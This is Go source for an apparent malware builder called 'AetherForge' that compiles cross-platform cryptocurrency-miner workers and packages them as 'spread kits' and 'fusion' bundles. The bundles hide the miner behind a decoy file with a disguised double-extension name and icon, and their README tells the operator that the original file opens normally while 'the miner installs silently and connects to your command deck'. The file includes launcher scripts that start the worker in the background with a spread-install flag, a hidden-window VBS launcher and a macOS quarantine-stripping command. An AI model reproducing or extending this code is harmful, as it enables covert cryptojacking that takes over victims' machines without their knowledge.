package builder

import (
	"context"
	"fmt"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"time"

	"crypto-miner-server/internal/models"

	"github.com/google/uuid"
)

func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
	buildID := uuid.New().String()
	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
	agentDir := filepath.Join(buildDir, "agent")

	if err := os.MkdirAll(agentDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
	}
	if err := h.copyAgentSource(agentDir); err != nil {
		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
	}

	platforms := platformsForRequest(req)
	workerPaths := map[string]string{}
	for _, p := range platforms {
		wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
		if err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		workerPaths[p.Label()] = wp
	}

	if req.SpreadKit && !req.FusionEnabled {
		return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
	}

	if req.FusionEnabled {
		return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms)
	}

	// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
	return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}

func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
	var subdir string
	if req.SpreadKit {
		subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
	} else {
		subdir = sanitizeFileName(req.WorkerName) + "-universal"
	}
	outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
	if err := os.MkdirAll(outDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
	}

	for _, p := range platforms {
		src := workers[p.Label()]
		destDir := filepath.Join(outDir, p.BinDir())
		if err := os.MkdirAll(destDir, 0755); err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		destName := "worker" + p.Ext
		if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
	}

	_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
	_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
	_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
	_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
	_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
	_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)

	zipName := subdir + "-package.zip"
	zipPath := filepath.Join(buildDir, zipName)
	if err := zipDirectory(outDir, zipPath); err != nil {
		return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
	}
	_ = copyFile(zipPath, filepath.Join(outDir, zipName))

	primary := workers[platforms[0].Label()]
	if w, ok := workers["windows-amd64"]; ok {
		primary = w
	}
	zipSt, _ := os.Stat(zipPath)
	zipBytes := int64(0)
	if zipSt != nil {
		zipBytes = zipSt.Size()
	}

	if err := h.db.InsertBuild(&models.BuildRecord{
		ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
		Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
		PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
		Platform: "universal", BundleSize: zipBytes,
		DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
	}); err != nil {
		log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
	}

	return BuildResponse{
		Success:           true,
		BuildID:           buildID,
		FileName:          zipName,
		FilePath:          zipPath,
		RelativePath:      filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
		FileSize:          zipBytes,
		DownloadURL:       fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
		BundleFileName:    zipName,
		BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
		BundleSize:        zipBytes,
		FusionExportDir:   outDir,
		ExportPath:        outDir,
	}, http.StatusOK, primary
}

func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
	// Resolve payload display name (used for runner naming and ZIP title)
	payloadBase := filepath.Base(prepPath)
	title := strings.TrimSpace(req.FusionMediaBaseName)
	if title == "" {
		title = payloadBase
	}
	titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
	if titleBase == "" {
		titleBase = "fusion"
	}

	subdir := fusionExportSubdir(req, title)
	outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
	if err := os.MkdirAll(outDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
	}

	mode := normalizeFusionMediaMode(req.FusionMediaMode)

	var fusionResults []*fusionBuildResult
	var primaryPath string
	for _, p := range platforms {
		workerPath := workers[p.Label()]
		platReq := *req
		// Name each runner after the payload file for clarity (e.g. report-runner.exe)
		platReq.FusionOutputName = runnerNameForFile(title, p)
		res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
		if err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		fusionResults = append(fusionResults, res)
		destDir := filepath.Join(outDir, p.BinDir())
		if err := os.MkdirAll(destDir, 0755); err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		runnerName := filepath.Base(res.LauncherPath)
		destRunner := filepath.Join(destDir, runnerName)
		if err := copyFile(res.LauncherPath, destRunner); err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		if p.GOOS == "windows" {
			primaryPath = destRunner
		}
		if p.GOOS == "darwin" {
			if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
				log.Printf("[Forge] darwin app bundle: %v", err)
			}
		}
	}

	// For paired mode: copy the original payload file to the ZIP root so runners can find it.
	// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
	if mode == "paired" && prepPath != "" {
		destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
		_ = copyFile(prepPath, destPayload)
	}

	_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
	_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
	_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)

	readme := fusionReadmeInfo{
		Title:       titleBase,
		RunnerName:  titleBase + "-runner",
		MediaName:   payloadBase,
		PayloadKind: req.FusionPayloadKind,
		MediaMode:   mode,
	}
	windowsRunnerName := disguisedRunnerName(payloadBase)
	unixRunnerName := sanitizeFileName(titleBase+"-runner")
	readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
		"  Windows:  double-click Start.bat  (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
		"            NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
		"  Linux:    chmod +x start.sh && ./start.sh  (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
		"  macOS:    double-click Start.command  (or open " + titleBase + ".app)\r\n\r\n" +
		"What happens when launched:\r\n" +
		"  1. The original file (" + payloadBase + ") opens normally\r\n" +
		"  2. The miner installs silently and connects to your command deck\r\n"
	_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)

	zipName := fusionBundleZipName(subdir)
	zipPath := filepath.Join(buildDir, zipName)
	if err := zipDirectory(outDir, zipPath); err != nil {
		return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
	}
	_ = copyFile(zipPath, filepath.Join(outDir, zipName))

	if primaryPath == "" && len(fusionResults) > 0 {
		primaryPath = fusionResults[0].LauncherPath
	}
	zipSt2, _ := os.Stat(zipPath)
	zipBytes2 := int64(0)
	if zipSt2 != nil {
		zipBytes2 = zipSt2.Size()
	}

	if err := h.db.InsertBuild(&models.BuildRecord{
		ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
		Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
		PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
		Platform: "universal", BundleSize: zipBytes2,
		DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
	}); err != nil {
		log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
	}

	return BuildResponse{
		Success:           true,
		BuildID:           buildID,
		FileName:          zipName,
		FilePath:          zipPath,
		RelativePath:      filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
		FileSize:          zipBytes2,
		DownloadURL:       fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
		FusionEnabled:     true,
		FusionExportDir:   outDir,
		BundleFileName:    zipName,
		BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
		BundleSize:        zipBytes2,
		ExportPath:        outDir,
	}, http.StatusOK, primaryPath
}

func runnerNameForPlatform(p BuildPlatform) string {
	if p.GOOS == "windows" {
		return "runner.exe"
	}
	return "runner"
}

func fileSize(st os.FileInfo) int64 {
	if st == nil {
		return 0
	}
	return st.Size()
}

const universalDeploySh = `#!/bin/sh
set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
export AETHER_KIT_DIR="$DIR"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
  linux*)
    case "$ARCH" in
      arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
      *) RUN="$DIR/bin/linux-amd64/worker" ;;
    esac
    ;;
  darwin*)
    case "$ARCH" in
      arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
      *) RUN="$DIR/bin/darwin-amd64/worker" ;;
    esac
    ;;
  *) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then
  echo "Worker binary missing: $RUN"
  exit 1
fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
exit 0
`

func spreadKitDeploySh() string {
	return universalDeploySh
}

const spreadKitDeployBatBody = `@echo off
setlocal
set "DIR=%~dp0"
set "AETHER_KIT_DIR=%DIR%"
set "RUN=%DIR%bin\windows-amd64\worker.exe"
if not exist "%RUN%" (
  echo Worker missing: %RUN%
  exit /b 1
)
start "" /B "%RUN%" --spread-install
exit /b 0
`

func spreadKitDeployBat() string {
	return spreadKitDeployBatBody
}

const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
run = dir & "bin\windows-amd64\worker.exe"
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
  WScript.Echo "Worker missing: " & run
  WScript.Quit 1
End If
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
sh.Run """" & run & """ --spread-install", 0, False
`

func spreadKitDeployVbs() string {
	return spreadKitDeployVbsBody
}

const spreadKitStartCommandBody = `#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
exec "$DIR/deploy.sh"
`

func spreadKitStartCommand() string {
	return spreadKitStartCommandBody
}

// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
// It detects the OS/arch and launches the matching runner binary.
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
func fusionUniversalStartSh(title string) string {
	base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
	if base == "" {
		base = "runner"
	}
	runnerBase := sanitizeFileName(base + "-runner")
	return `#!/bin/sh
DIR="$(cd "$(dirname "$0")" && pwd)"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
  linux*)
    case "$ARCH" in
      arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
      *) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
    esac ;;
  darwin*)
    case "$ARCH" in
      arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
      *) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
    esac ;;
  *) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
exec "$RUN"
`
}

// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
// title is the payload filename — the runner uses the double-extension disguised name.
func fusionUniversalStartBat(title string) string {
	runnerExe := disguisedRunnerName(title)
	return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
}

// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
func fusionUniversalStartCommand() string {
	return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
}

func formatSpreadKitReadme(req *BuildRequest) string {
	return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
=====================================

Run ONE launcher for your OS (silent install + mining + deck connection):

  Windows (silent):  double-click Deploy.vbs  (or Deploy.bat)
  Linux:             chmod +x deploy.sh && ./deploy.sh
  macOS:             double-click Start.command  (or ./deploy.sh)

Keep the entire folder together — bin/ must stay next to the launcher.

Command deck URL baked into workers: %s
If agents never appear, re-forge with your LAN IP (not localhost).

Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
`, req.WorkerName, req.ServerURL)
}

func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
	return fmt.Sprintf(`AetherForge Spread Kit — operator reference
Worker:      %s
Build ID:    %s
Command URL: %s
Pool:        %s:%d
Wallet:      %s…
Auto-spread: %v
Targets:     windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64

Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
}

func truncateWallet(w string) string {
	w = strings.TrimSpace(w)
	if len(w) <= 16 {
		return w
	}
	return w[:16]
}
